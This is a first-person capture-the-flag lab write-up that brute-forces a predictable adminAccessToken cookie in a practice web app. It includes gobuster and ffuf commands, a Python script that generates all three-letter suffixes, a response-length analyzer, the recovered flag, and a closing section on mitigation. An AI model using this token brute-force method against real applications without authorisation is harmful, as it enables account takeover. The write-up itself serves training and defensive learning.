Gift List — Predictable Admin Access Token Brute Force

Overview

This lab focused on exploiting weak token generation in the Gift List notes web application.

The application used an adminAccessToken cookie to control administrator access. After analyzing the token generation pattern, I discovered that the final three characters were predictable and limited to lowercase alphabetic characters.

By generating all possible combinations and fuzzing the administrator endpoint, I successfully identified the valid token and gained administrator access.

Initial Reconnaissance

After registering an account and logging in, I started with directory enumeration to identify hidden routes.

Directory Enumeration

gobuster dir -u https://lab-1777544295383-wdr2nf.labs-app.bugforge.io/ -w /usr/share/wordlists/dirb/big.txt

Result

administrator        (Status: 302) [Size: 28] [--> /login]

This indicated that an administrator route existed but required authentication.

Investigating Authentication

While analyzing authenticated requests, I observed that the application used two cookies:

• token → Standard JWT session token
• adminAccessToken → Additional token required for administrator access

Captured request:

GET /dashboard HTTP/2
Host: lab-1777544295383-wdr2nf.labs-app.bugforge.io
Cookie: token=<JWT>; adminAccessToken=n0MqjBXna9A4eay

At this point, the adminAccessToken became the primary target for analysis.

Token Pattern Analysis

Using Burp Suite Sequencer, I analyzed multiple generated tokens.

Observation

The token structure remained mostly static.

Only the last 3 characters changed.

Further inspection showed these final characters were restricted to lowercase letters only (a-z).

This reduced the total search space to:

26³ = 17,576 combinations

A brute-force attack became practical.

Generating All Possible Token Suffixes

I created a Python script to generate every possible 3-character lowercase combination.

gen_tokens.py

import itertools
import string

with open("tokens.txt", "w") as f:
    for combo in itertools.product(string.ascii_lowercase, repeat=3):
        f.write("".join(combo) + "\n")

Run:

python3 gen_tokens

This generated:

17,576 possible suffixes

Brute Forcing the Token

Initially, I attempted this with Burp Intruder, but the Community Edition was too slow.

I switched to ffuf for faster fuzzing.

Command

ffuf --request request.txt -w tokens.txt -of json -o results.json

This tested all suffixes against the administrator endpoint.

Response Analysis

Since thousands of responses were returned, manual inspection was inefficient.

I wrote a script to identify anomalous response lengths.

analyzer.py

import json
from collections import Counter

with open("results.json", "r") as f:
    data = json.load(f)

lengths = [r["length"] for r in data["results"]]
count = Counter(lengths)

print("Response length frequencies:")
for length, freq in sorted(count.items()):
    print(f"{length}: {freq}")

print("\nUnusual responses:")
for r in data["results"]:
    if count[r["length"]] < 5:
        print(f"Suffix: {r['input']['FUZZ']}")
        print(f"Length: {r['length']}")
        print(f"Status: {r['status']}")
        print("-" * 30)

Run:

python3 analyzer.py

Identifying the Valid Token

Output:

Response length frequencies:
7792: 1
7890: 17568

Unusual responses:
Suffix: rls
Length: 7792
Status: 200

The anomalous response indicated the correct suffix:

rls

Privilege Escalation

I modified the cookie manually using browser developer tools.

Steps

1. Open Inspect
2. Navigate to Storage / Cookies
3. Locate adminAccessToken
4. Replace the last 3 characters with:

rls

After refreshing, administrator access was granted.

Retrieving the Flag

Once authenticated as administrator, I accessed the restricted area and retrieved the flag.

bug{KHeTEAium0cH5ry5NqWPiccm1kfMeBYq}

Root Cause

The vulnerability existed because the application used predictable token generation.

Weaknesses:

• Static token structure
• Only 3 variable characters
• Limited character set
• No sufficient entropy

This made brute-force enumeration trivial.

Mitigation

To prevent this vulnerability:

• Use cryptographically secure random token generation
• Increase token entropy significantly
• Enforce token expiration
• Rate-limit authentication attempts
• Monitor brute-force behavior

Key Takeaways

This lab demonstrates how even a seemingly random token can become exploitable when entropy is insufficient.

The key lesson:

If attackers can predict enough of a token’s structure, brute force becomes feasible.